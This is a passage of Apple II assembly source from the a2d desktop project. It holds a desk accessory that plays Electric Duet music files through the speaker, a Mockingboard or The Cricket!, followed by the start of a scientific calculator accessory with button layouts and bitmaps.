.byte CHAR_ESCAPE,"T24" ; IW2: distance between lines (24/144")
kLenRestoreSequence = * - restore_sequence
.endproc ; DumpScreen
.include "../lib/save_textpage.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 22,706
|
src/desk.acc/show.duet.file.s
|
;;; ============================================================
;;; SHOW.DUET.FILE - Desk Accessory
;;;
;;; Electric Duet by Paul Lutus
;;; Players by Alexander Patalenski and @cybernesto
;;;
;;; Preview accessory for playing Electric Duet files.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "show.duet.file.res"
.include "apple2.inc"
.include "opcodes.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; $7800 +-----------+ | |
;;; | Audio | | |
;;; | Data | | |
;;; | Buffer | | |
;;; $5000 +-----------+ | |
;;; | | | |
;;; : : : :
;;; | | | |
;;; $4000 +-----------+ +-----------+
;;; | | | |
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | loader & | | |
;;; | player | | GUI |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;;
;;; There is not enough room in the DA load area to hold 6k of audio
;;; data. A larger buffer is available in DeskTop itself, in an area
;;; that can be restored after use.
data_buf := OVERLAY_BUFFER
kReadLength = kOverlayBufferSize
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = 340
kDAHeight = 70
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kDAHeight)/2
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte kBorderDX
penheight: .byte kBorderDY
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
ypos_playing: .word 18
ypos_credit1: .word 34
ypos_credit2: .word 45
ypos_instruct: .word 62
DEFINE_POINT pos, 0, 0
str_playing: PASCAL_STRING res_string_playing
name_buf: .res 16, 0
str_credit1: PASCAL_STRING res_string_credit1
str_credit2: PASCAL_STRING res_string_credit2
str_instruct: PASCAL_STRING res_string_instructions
;;; ============================================================
.proc Init
;; Combine strings
lda str_playing
clc
adc name_buf
sta str_playing
;; Shift it down
ldx #0
ldy name_buf
DO
lda name_buf+1,x
sta name_buf,x
inx
dey
WHILE_POS
MGTK_CALL MGTK::OpenWindow, winfo
;; --------------------------------------------------
;; Draw the window contents
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::FrameRect, frame_rect
copy16 ypos_playing, pos::ycoord
param_call DrawCenteredString, str_playing
copy16 ypos_credit1, pos::ycoord
param_call DrawCenteredString, str_credit1
copy16 ypos_credit2, pos::ycoord
param_call DrawCenteredString, str_credit2
copy16 ypos_instruct, pos::ycoord
param_call DrawCenteredString, str_instruct
MGTK_CALL MGTK::FlushEvents
;; --------------------------------------------------
;; Play the music
JSR_TO_MAIN PlayFile
;; --------------------------------------------------
;; Close the window
MGTK_CALL MGTK::CloseWindow, winfo
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; Init
;;; ============================================================
;;; Draw centered string
;;; Input: A,X = string address, `pos` used, has ycoord
;;; Trashes $6...$A
.proc DrawCenteredString
text_params := $6
text_addr := text_params + 0
text_length := text_params + 2
text_width := text_params + 3
stax text_addr ; input is length-prefixed string
ldy #0
lda (text_addr),y
sta text_length
inc16 text_addr ; point past length
MGTK_CALL MGTK::TextWidth, text_params
sub16 #kDAWidth, text_width, pos::xcoord
lsr16 pos::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, pos
MGTK_CALL MGTK::DrawText, text_params
rts
.endproc ; DrawCenteredString
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jmp Entry
;;; ============================================================
filename: .res 16, 0
INVOKE_PATH := $220
DEFINE_GET_FILE_INFO_PARAMS get_info_params, INVOKE_PATH
DEFINE_OPEN_PARAMS open_params, INVOKE_PATH, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, data_buf, kReadLength
DEFINE_CLOSE_PARAMS close_params
;;; ============================================================
;;; Get filename from DeskTop
ret: rts
.proc Entry
;; Verify type/auxtype
JUMP_TABLE_MLI_CALL GET_FILE_INFO, get_info_params
bcs ret
lda get_info_params::file_type
cmp #FT_MUSIC
bne ret
ecmp16 get_info_params::aux_type, #$D0E7
bne ret
;; Extract filename
ldy INVOKE_PATH
DO
lda INVOKE_PATH,y ; find last '/'
BREAK_IF_A_EQ #'/'
dey
WHILE_NOT_ZERO
ldx #0
DO
copy8 INVOKE_PATH+1,y, filename+1,x ; copy filename
inx
iny
WHILE_Y_NE INVOKE_PATH
stx filename
FALL_THROUGH_TO LoadFileAndRunDA
.endproc ; Entry
;;; ============================================================
;;; Load the file
.proc LoadFileAndRunDA
;; TODO: Ensure there's enough room, fail if not
;; --------------------------------------------------
;; Load the file
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
JUMP_TABLE_MLI_CALL OPEN, open_params
IF_CS
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
rts
END_IF
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
JUMP_TABLE_MLI_CALL READ, read_params
php ; preserve error
JUMP_TABLE_MLI_CALL CLOSE, close_params
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
plp
bcs exit
;; TODO: Try to verify that this is a duet file
;; Copy filename
copy16 #filename, STARTLO
copy16 #filename+kMaxFilenameLength, ENDLO
copy16 #aux::name_buf, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; Show the UI
JSR_TO_AUX aux::Init
;; Page DeskTop's code back in.
lda #kDynamicRoutineRestoreBuffer
jsr JUMP_TABLE_RESTORE_OVL
jsr JUMP_TABLE_CLEAR_UPDATES
exit: rts
.endproc ; LoadFileAndRunDA
;;; ============================================================
.proc PlayFile
jsr FindTheCricket
IF_CS
copy16 #PlayerCricket, play_routine
END_IF
jsr FindMockingboard
IF_CS
copy16 #PlayerMockingboard, play_routine
;; When Virtual ][ is running at accelerated speed it seems to
;; not slow down immediately during Mockingboard playback,
;; leading to glitches. Hitting the speaker seems to resolve
;; this.
bit SPKR
bit SPKR
END_IF
;; --------------------------------------------------
bit ROMIN2
jsr NORMFAST_norm
bit KBDSTRB ; player will stop on keypress
play: ldax #data_buf
play_routine := *+1
jsr Player
redo:
;; If a key was pressed, maybe restart with alt player
lda KBD
IF_NS
bit KBDSTRB ; swallow the keypress
IF_A_EQ #'1'|$80
copy16 #Player, play_routine
jmp play
END_IF
IF_A_EQ #'2'|$80
copy16 #Player2, play_routine
jmp play
END_IF
IF_A_EQ #'3'|$80
copy16 #PlayerMockingboard, play_routine
jmp play
END_IF
IF_A_EQ #'4'|$80
copy16 #PlayerCricket, play_routine
jmp play
END_IF
END_IF
jsr NORMFAST_fast
bit LCBANK1
bit LCBANK1
rts
.endproc ; PlayFile
;;; ============================================================
;;; Player - uses built-in speaker
;;; Electric Duet player by Alex Patalenski
;;; https://www.reddit.com/r/apple2/comments/pue775/improved_electric_duet_player_by_alex_patalenski/
.proc Player
D2 := $02
D3 := $03
D4 := $04
D5 := $05
D6 := $06
D7 := $07
D8 := $08
ptr := $09
stax ptr
lda #$00
sta D8
sta D6
sta D7
l1: ldy #$00
lda (ptr),Y
bne :+
exit: rts
: sta D2
lda KBD
bmi exit
ldx #$00
jsr Sub
sta l30+1
sta l37+1
stx l31+1
stx l38+1
ldx #$01
jsr Sub
sta l53+1
sta l60+1
stx l54+1
stx l61+1
lda #$00
ldx #$8A
ldy #$40
sta D3
l24: sta D8
dey
bne l33
ldy D4
bit D8
bmi l41
l30: bit SPKR ; self-modified
l31: eor #$A0 ; self-modified
jmp l45
l33: cpy D6
bne l40
bit D8
bpl l42
l37: bit SPKR ; self-modified
l38: eor #$A0 ; self-modified
jmp l46
l40: nop
l41: nop
l42: nop
nop
nop
l45: nop
l46: nop
sta D8
dex
bne l56
ldx D5
bit D8
bmi l64
l53: bit SPKR ; self-modified
l54: eor #$A0 ; self-modified
jmp l68
l56: cpx D7
l57: bne l63
l58: bit D8
bpl l65
l60: bit SPKR ; self-modified
l61: eor #$A0 ; self-modified
jmp l69
l63: nop
l64: nop
l65: nop
l66: nop
l67: nop
l68: nop
l69: nop
dec D3
bne l75
dec D2
beq l79
jmp l24
l75: nop
l76: nop
l77: nop
jmp l24
l79: lda ptr
clc
adc #$03
sta ptr
bcc :+
inc ptr+1
: jmp l1
.proc Sub
iny
lda (ptr),Y
php
sta D4,X
cmp #$05
bcc :+
lsr
lsr
: lsr
lsr
sta D6,X
plp
beq :+
lda #$30
ldx #$A0
: rts
.endproc ; Sub
.endproc ; Player
;;; ============================================================
;;; Alt. Player - uses built-in speaker
;;; "I found yet another version of Alex's player, this was included in
;;; a game I had written. I don't know if this is older or newer
;;; than the other one I posted..." - Emil Dotchevski
.proc Player2
Z3C := $00
Z3D := $01
Z3E := $02
Z3F := $03
Z40 := $04
Z41 := $05 ; Not initialized?
Z42 := $06
Z43 := $07
Z44 := $08
Z45 := $09
Z46 := $0A
ptr := $0B
stax ptr
lda #$01
sta Z42
sta Z43
sta Z44
sta Z45
L665A: ldy #$00
lda (ptr),Y
bne :+
exit: rts
:
bit KBD
bmi exit
cmp #$01
bne :+
iny
lda (ptr),Y
sta Z42
iny
lda (ptr),Y
sta Z43
jmp L66FF
: sta Z40
iny
lda (ptr),Y
sta Z3C
ldx Z42
: lsr
dex
bne :-
sta Z3E
iny
lda (ptr),Y
sta Z3D
ldx Z43
: lsr
dex
bne :-
sta Z3F
ldx Z3C
ldy Z3D
lda #$00
L6694: bit Z44
bvs L66A3
bmi L66C3
bit Z45
bmi L66A9
nop
bpl L66AC
L66A1: bmi L66AC
L66A3: bpl L66C4
bit Z45
bmi L66A1
L66A9: bit SPKR
L66AC: sta Z45
dex
beq L66B9
cpx Z3E
beq L66BD
nop
L66B6: jmp L66C0
L66B9: ldx Z3C
beq L66B6
L66BD: nop
eor #$80
L66C0: jmp L670E
L66C4 := *+1
L66C3: bit OPC_NOP
bit SPKR
dex
beq L66D3
cpx Z3E
beq L66D7
nop
L66D0: jmp L66DA
L66D3: ldx Z3C
beq L66D0
L66D7: nop
eor #$80
L66DA: bit SPKR
dey
beq L66E8
cpy Z3F
beq L66EC
nop
L66E5: jmp L66EF
L66E8: ldy Z3D
beq L66E5
L66EC: nop
eor #$40
L66EF: bit SPKR
sta Z44
dec Z41
sta SPKR
L66F9: bne L6694
dec Z40
bne L6694
L66FF: lda ptr
clc
adc #$03
sta ptr
bcc L670A
inc ptr+1
L670A: jmp L665A
rts
L670E: dey
beq L6719
cpy Z3F
beq L671D
nop
L6716: jmp L6720
L6719: ldy Z3D
beq L6716
L671D: nop
eor #$40
L6720: sta Z44
jmp L6726
L6725: rts ; Unreferenced?
L6726: dec Z41
jmp L66F9
.endproc ; Player2
;;; ============================================================
;;; Mockingboard Player - A,X = song
;;; By @cybernesto
;;; Used with permission
;;; https://github.com/cybernesto/electric-mock/blob/master/src/MOCKINGDUET.S
.proc PlayerMockingboard
;;; *ELECTRIC DUET MUSIC PLAYER FOR THE MOCKINGBOARD
;;; *COPYRIGHT 2014 CYBERNESTO
CHN := $1D
SONG := $1E
LEFTCHN = $00
RIGHTCHN = $02
ENAREG = $07
VOL_A = $08
VOL_B = $09
TONE = $06
DURATION = $08
stax SONG
;; ORG $300
JSR INIT
JSR RESET
JSR ENACHN
JMP LOOP
SETVOL:
NEXT: LDA SONG
CLC
ADC #$03
STA SONG
BCC LOOP
INC SONG+1
LOOP: LDY #$00
LDA (SONG),Y
CMP #$01
BEQ SETVOL
BPL SETNOTE ;SET DURATION
END: JSR RESET
RTS
SETNOTE:
STA DURATION
LDA #LEFTCHN
SEND: STA CHN
patch1 := *+2
STA $C401
JSR SETREG1
INY
LDA (SONG),Y
BEQ SKIP ;IF 0 KEEP LTTSA
JSR CONVFREQ
SKIP: LDA TONE
patch2 := *+2
STA $C401
JSR WRDATA1
INC CHN
LDA CHN
patch3 := *+2
STA $C401
JSR SETREG1
LDA TONE+1
patch4 := *+2
STA $C401
JSR WRDATA1
LDA #RIGHTCHN
STA CHN
CPY #$02
BNE SEND
LDX DURATION
W1: LDY TEMPO
W2: DEC TEMP
BNE W2
DEY
BNE W2
DEX
BNE W1
BIT $C000
BMI END
JMP NEXT
CONVFREQ:
LDX OCTAVE
INX
PHA
LDA #$00
STA TONE+1
PLA
DECOCT: DEX
BMI LOBYTE
ASL
ROL TONE+1
JMP DECOCT
LOBYTE: STA TONE
RTS
RESET: LDA #$00
patch5 := *+2
STA $C400
patch6 := *+2
STA $C480
LDA #$04
patch7 := *+2
STA $C400
patch8 := *+2
STA $C480
RTS
INIT: LDA #$FF
patch9 := *+2
STA $C403
patch10 := *+2
STA $C483
LDA #$07
patch11 := *+2
STA $C402
patch12 := *+2
STA $C482
RTS
SETREG1:
LDA #$07
patch13 := *+2
STA $C400
LDA #$04
patch14 := *+2
STA $C400
RTS
WRDATA1:
LDA #$06
patch15 := *+2
STA $C400
LDA #$04
patch16 := *+2
STA $C400
RTS
ENACHN: LDA #ENAREG
patch17 := *+2
STA $C401
JSR SETREG1
LDA #%00111100
patch18 := *+2
STA $C401
JSR WRDATA1
LDA #VOL_A
patch19 := *+2
STA $C401
JSR SETREG1
LDA #$0F
patch20 := *+2
STA $C401
JSR WRDATA1
LDA #VOL_B
patch21 := *+2
STA $C401
JSR SETREG1
LDA #$0F
patch22 := *+2
STA $C401
JSR WRDATA1
RTS
OCTAVE: .byte 1
TEMPO: .byte 8
TEMP: .byte 0
.proc ScanSlots
ptr := $06
copy16 #$C700, ptr
probe: param_call WithInterruptsDisabled, DetectMockingboard
IF_CS
;; Found
lda ptr+1
.repeat 22, i
sta .ident(.sprintf("patch%d",i+1))
.endrepeat
rts ; C=1 is found
END_IF
dec ptr+1
lda ptr+1
cmp #$C0
bne probe
clc ; C=0 is not found
rts
.endproc ; ScanSlots
.endproc ; PlayerMockingboard
FindMockingboard := PlayerMockingboard::ScanSlots
;;; ============================================================
;;; The Cricket! Player
;;; By @cybernesto
;;; Used with permission
;;; https://github.com/cybernesto/electric-mock/blob/master/src/CRICKETDUET.S
.proc PlayerCricket
;;; *ELECTRIC DUET MUSIC PLAYER FOR THE CRICKET
CHN := $1D
SONG := $1E
LEFTCHN = $10
RIGHTCHN = $20
ENAREG = $07
VOL_A = $08
TONE = $06
DURATION = $08
ACIACMD2 := $C0AA
ACIACTL2 := $C0AB
ACIAST2 := $C0A9
ACIARXTX2 := $C0A8
stax SONG
;; ORG $300
JSR INIT
JSR RESET
LDA #LEFTCHN
STA CHN
JSR ENACHN
LDA #RIGHTCHN
STA CHN
JSR ENACHN
JMP LOOP
SETVOL: NOP
NEXT: LDA SONG
CLC
ADC #$03
STA SONG
BCC LOOP
INC SONG+1
LOOP: LDY #$00
LDA (SONG),Y
CMP #$01
BEQ SETVOL
BPL SETNOTE ;SET DURATION
END: JSR RESET
RTS
SETNOTE:
STA DURATION
LDA #LEFTCHN
SEND: STA CHN
JSR OUT
INY
LDA (SONG),Y
BEQ SKIP ;IF 0 KEEP LTTSA
JSR CONVFREQ
SKIP: LDA TONE
JSR OUT
INC CHN
LDA CHN
JSR OUT
LDA TONE+1
JSR OUT
LDA #RIGHTCHN
STA CHN
CPY #$02
BNE SEND
LDX DURATION
W1: LDY TEMPO
W2: DEC TEMP
BNE W2
DEY
BNE W2
DEX
BNE W1
BIT $C000
BMI END
JMP NEXT
CONVFREQ:
LDX OCTAVE
INX
PHA
LDA #$00
STA TONE+1
PLA
DECOCT: DEX
BMI LOBYTE
ASL
ROL TONE+1
JMP DECOCT
LOBYTE: STA TONE
RTS
INIT: LDA #$0B
STA ACIACMD2
LDA #$9E
STA ACIACTL2
RTS
OUT: PHA ;SAVE BYTE TO SEND OUT
WT: LDA ACIAST2 ;READ STATUS OF SERIAL PORT
AND #$10 ;SEE IF IT'S READY TO RECEIVE A BYTE
BEQ WT ;NOT READY, WAIT
PLA ;REGET BYTE TO SEND OUT
STA ACIARXTX2 ;SEND IT
RTS
IN: LDA ACIAST2 ;IS THERE A BYTE TO GET YET?
AND #$08
BEQ IN ;NOPE, WAIT FOR IT
LDA ACIARXTX2 ;GET INCOMING BYTE
RTS
RESET: LDA #$A1
JSR OUT
RTS
ENACHN: LDA #ENAREG
ORA CHN
JSR OUT
LDA #%00111110
JSR OUT
LDA #VOL_A
ORA CHN
JSR OUT
LDA #$0F
JSR OUT
RTS
OCTAVE: .byte 1
TEMPO: .byte 8
TEMP: .byte 0
.endproc ; PlayerCricket
.proc FindTheCricket
ptr := $06
copy16 #$C200, ptr
param_jump WithInterruptsDisabled, DetectMockingboard
.endproc ; FindTheCricket
;;; ============================================================
.include "../lib/with_interrupts_disabled.s"
.include "../lib/detect_mockingboard.s"
.include "../lib/detect_thecricket.s"
.include "../lib/normfast.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 43,838
|
src/desk.acc/sci.calc.s
|
;;; ============================================================
;;; SCI.CALC - Desk Accessory
;;;
;;; A scientific calculator.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "calculator.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc InitDA
;; Mostly use ZP preservation mode, since we use ROM FP routines.
MGTK_CALL MGTK::SetZP1, setzp_params_preserve
jmp init
.endproc ; InitDA
.proc ExitDA
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
MGTK_CALL MGTK::SetZP1, setzp_params_nopreserve
rts
.endproc ; ExitDA
;;; ============================================================
;;; Call Params (and other data)
.include "../lib/event_params.s"
.params trackgoaway_params
goaway: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
.addr grafport
.endparams
setzp_params_nopreserve: ; performance over convenience
.byte MGTK::zp_overwrite
setzp_params_preserve: ; convenience over performance
.byte MGTK::zp_preserve
;;; ============================================================
;;; Button Definitions
kBasicOffset = 92
kCalcButtonWidth = 17
kCalcButtonHeight = 9
kColALeft = 13
kColBLeft = 58
kCol1Left = 13 + kBasicOffset
kCol1Right = kCol1Left+kCalcButtonWidth ; 30
kCol2Left = 42 + kBasicOffset
kCol2Right = kCol2Left+kCalcButtonWidth ; 59
kCol3Left = 70 + kBasicOffset
kCol3Right = kCol3Left+kCalcButtonWidth ; 87
kCol4Left = 98 + kBasicOffset
kCol4Right = kCol4Left+kCalcButtonWidth ; 115
kRow0Top = 22 - 16
kRow1Top = 22
kRow1Bot = kRow1Top+kCalcButtonHeight ; 31
kRow2Top = 38
kRow2Bot = kRow2Top+kCalcButtonHeight ; 47
kRow3Top = 53
kRow3Bot = kRow3Top+kCalcButtonHeight ; 62
kRow4Top = 68
kRow4Bot = kRow4Top+kCalcButtonHeight ; 77
kRow5Top = 83
kRow5Bot = kRow5Top+kCalcButtonHeight ; 92
kBorderLeftTop = 1 ; border width pixels (left/top)
kBorderBottomRight = 2 ; (bottom/right)
kLabelStrSize = 4 ; for padding, so button structs are consistent size
.macro CALC_BUTTON identifier, func, labelstr, left, top, key_char
.params identifier
function: .byte func
key: .byte key_char
.refto function
.refto key
DEFINE_POINT viewloc, left - kBorderLeftTop, top - kBorderLeftTop
mapbits: .addr button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
REF_MAPINFO_MEMBERS
label: PASCAL_STRING labelstr, aux::kLabelStrSize
pos: .word left + 6, top+kCalcButtonHeight
port: .word left, top, left+kCalcButtonWidth, top+kCalcButtonHeight
.refto label
.refto pos
.refto port
.endparams
.endmacro
kSciButtonWidth = 35
.macro CALC_BUTTON_S identifier, func, labelstr, left, top, opt_key
.params identifier
function: .byte func
key:
.if .paramcount >= 6
.byte opt_key
.elseif .strlen(labelstr) = 1
.byte labelstr
.else
.byte 0
.endif
.refto function
.refto key
;; Cheap centering
kLabelOff = (kSciButtonWidth - (6 * .strlen(labelstr))) / 2
DEFINE_POINT viewloc, left - kBorderLeftTop, top - kBorderLeftTop
mapbits: .addr sci_button_bitmap
mapwidth: .byte kSciBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kSciButtonWidth, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
REF_MAPINFO_MEMBERS
label: PASCAL_STRING labelstr, aux::kLabelStrSize
pos: .word left + kLabelOff, top+kCalcButtonHeight
port: .word left, top, left+kSciButtonWidth-3, top+kCalcButtonHeight
.refto label
.refto pos
.refto port
.endparams
.endmacro
.enum Function
;; Reserve 0 for no match
;; Commands
clear = 1
equals
;; Entry
exp
digit0 = '0'
digit1 = '1'
digit2 = '2'
digit3 = '3'
digit4 = '4'
digit5 = '5'
digit6 = '6'
digit7 = '7'
digit8 = '8'
digit9 = '9'
decimal = '.'
;; Operations
op_multiply = '*'
op_divide = '/'
op_add = '+'
op_subtract = '-'
op_power = $40
;; Functions
fn_sin
fn_cos
fn_tan
fn_asin
fn_acos
fn_atan
fn_sqrt
fn_neg
fn_ln
fn_exp
fn_inv
.endenum
first_button := *
CALC_BUTTON btn_c, Function::clear, "c", kCol1Left, kRow1Top, 'C'
CALC_BUTTON btn_e, Function::exp, "e", kCol2Left, kRow1Top, 'E'
CALC_BUTTON btn_eq, Function::equals, "=", kCol3Left, kRow1Top, '='
CALC_BUTTON btn_mul, Function::op_multiply, "*", kCol4Left, kRow1Top, '*'
CALC_BUTTON btn_7, Function::digit7, "7", kCol1Left, kRow2Top, '7'
CALC_BUTTON btn_8, Function::digit8, "8", kCol2Left, kRow2Top, '8'
CALC_BUTTON btn_9, Function::digit9, "9", kCol3Left, kRow2Top, '9'
CALC_BUTTON btn_div, Function::op_divide, "/", kCol4Left, kRow2Top, '/'
CALC_BUTTON btn_4, Function::digit4, "4", kCol1Left, kRow3Top, '4'
CALC_BUTTON btn_5, Function::digit5, "5", kCol2Left, kRow3Top, '5'
CALC_BUTTON btn_6, Function::digit6, "6", kCol3Left, kRow3Top, '6'
CALC_BUTTON btn_sub, Function::op_subtract, "-", kCol4Left, kRow3Top, '-'
CALC_BUTTON btn_1, Function::digit1, "1", kCol1Left, kRow4Top, '1'
CALC_BUTTON btn_2, Function::digit2, "2", kCol2Left, kRow4Top, '2'
CALC_BUTTON btn_3, Function::digit3, "3", kCol3Left, kRow4Top, '3'
.params btn_0
left = kCol1Left
top = kRow5Top
kWideButtonWidth = 49
function: .byte Function::digit0
key: .byte "0"
DEFINE_POINT viewloc, left - kBorderLeftTop, top - kBorderLeftTop
mapbits: .addr wide_button_bitmap
mapwidth: .byte kWideBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kWideButtonWidth, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
label: PASCAL_STRING "0", aux::kLabelStrSize
pos: .word left + 6, top+kCalcButtonHeight
port: .word left, top, left+kWideButtonWidth-3, top+kCalcButtonHeight
.endparams
CALC_BUTTON_S btn_sin, Function::fn_sin, "sin", kColALeft, kRow0Top
CALC_BUTTON_S btn_cos, Function::fn_cos, "cos", kColALeft, kRow1Top
CALC_BUTTON_S btn_tan, Function::fn_tan, "tan", kColALeft, kRow2Top
CALC_BUTTON_S btn_xy, Function::op_power, "x^y", kColALeft, kRow3Top, '^'
CALC_BUTTON_S btn_sqrt, Function::fn_sqrt, "sqrt", kColALeft, kRow4Top
CALC_BUTTON_S btn_pm, Function::fn_neg, "+/-", kColALeft, kRow5Top
CALC_BUTTON_S btn_asin, Function::fn_asin, "asin", kColBLeft, kRow0Top
CALC_BUTTON_S btn_acos, Function::fn_acos, "acos", kColBLeft, kRow1Top
CALC_BUTTON_S btn_atan, Function::fn_atan, "atan", kColBLeft, kRow2Top
CALC_BUTTON_S btn_ln, Function::fn_ln, "ln", kColBLeft, kRow3Top
CALC_BUTTON_S btn_ex, Function::fn_exp, "e^x", kColBLeft, kRow4Top
CALC_BUTTON_S btn_1x, Function::fn_inv, "1/x", kColBLeft, kRow5Top
.params btn_dec
function: .byte Function::decimal
key: .byte SELF_MODIFIED_BYTE
DEFINE_POINT viewloc, kCol3Left - kBorderLeftTop, kRow5Top - kBorderLeftTop
mapbits: .addr button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
REF_MAPINFO_MEMBERS
label: PASCAL_STRING ".", aux::kLabelStrSize
pos: .word kCol3Left + 6 + 2, kRow5Bot ; + 2 to center the label
port: .word kCol3Left,kRow5Top,kCol3Right,kRow5Bot
.refto label
.refto pos
.refto port
.endparams
.params btn_add
function: .byte Function::op_add
key: .byte '+'
DEFINE_POINT viewloc, kCol4Left - kBorderLeftTop, kRow4Top - kBorderLeftTop
mapbits: .addr tall_button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, 27 ; + is extra tall
REF_MAPINFO_MEMBERS
label: PASCAL_STRING '+', aux::kLabelStrSize
pos: .word kCol4Left + 6, kRow5Bot
port: .word kCol4Left,kRow4Top,kCol4Right,kRow5Bot
.refto label
.refto pos
.refto port
.endparams
.byte 0 ; sentinel
ASSERT_EQUALS .sizeof(btn_c), .sizeof(btn_0)
ASSERT_EQUALS .sizeof(btn_c), .sizeof(btn_sin)
ASSERT_EQUALS .sizeof(btn_c), .sizeof(btn_dec)
ASSERT_EQUALS .sizeof(btn_c), .sizeof(btn_add)
;; Button bitmaps. These are used as bitmaps for
;; drawing the shadowed buttons.
;; bitmaps are low 7 bits, 0=black 1=white
kBitmapStride = 3 ; bytes
button_bitmap: ; bitmap for normal buttons
PIXELS "....................#"
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS "....................."
PIXELS "#...................."
kWideBitmapStride = 8
wide_button_bitmap: ; bitmap for '0' button
PIXELS ".................................................#######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS "..................................................######"
PIXELS "#.................................................######"
kSciBitmapStride = 6
sci_button_bitmap: ; bitmap for scientific calc button
PIXELS "...................................#######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS ".#################################..######"
PIXELS "....................................######"
PIXELS "#...................................######"
tall_button_bitmap: ; bitmap for '+' button
PIXELS "....................#"
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS "....................."
PIXELS "#...................."
;;; ============================================================
;;; Calculation state
saved_stack:
.byte $00 ; restored after error
calc_p: .byte $00 ; high bit set if pending op?
calc_op:.byte $00
calc_d: .byte $00 ; decimal separator if present, 0 otherwise
calc_e: .byte $00 ; exponential?
calc_n: .byte $00 ; negative?
calc_g: .byte $00 ; high bit set if last input digit
calc_f: .byte $00 ; high bit set if last was function
calc_l: .byte $00 ; input length
;;; ============================================================
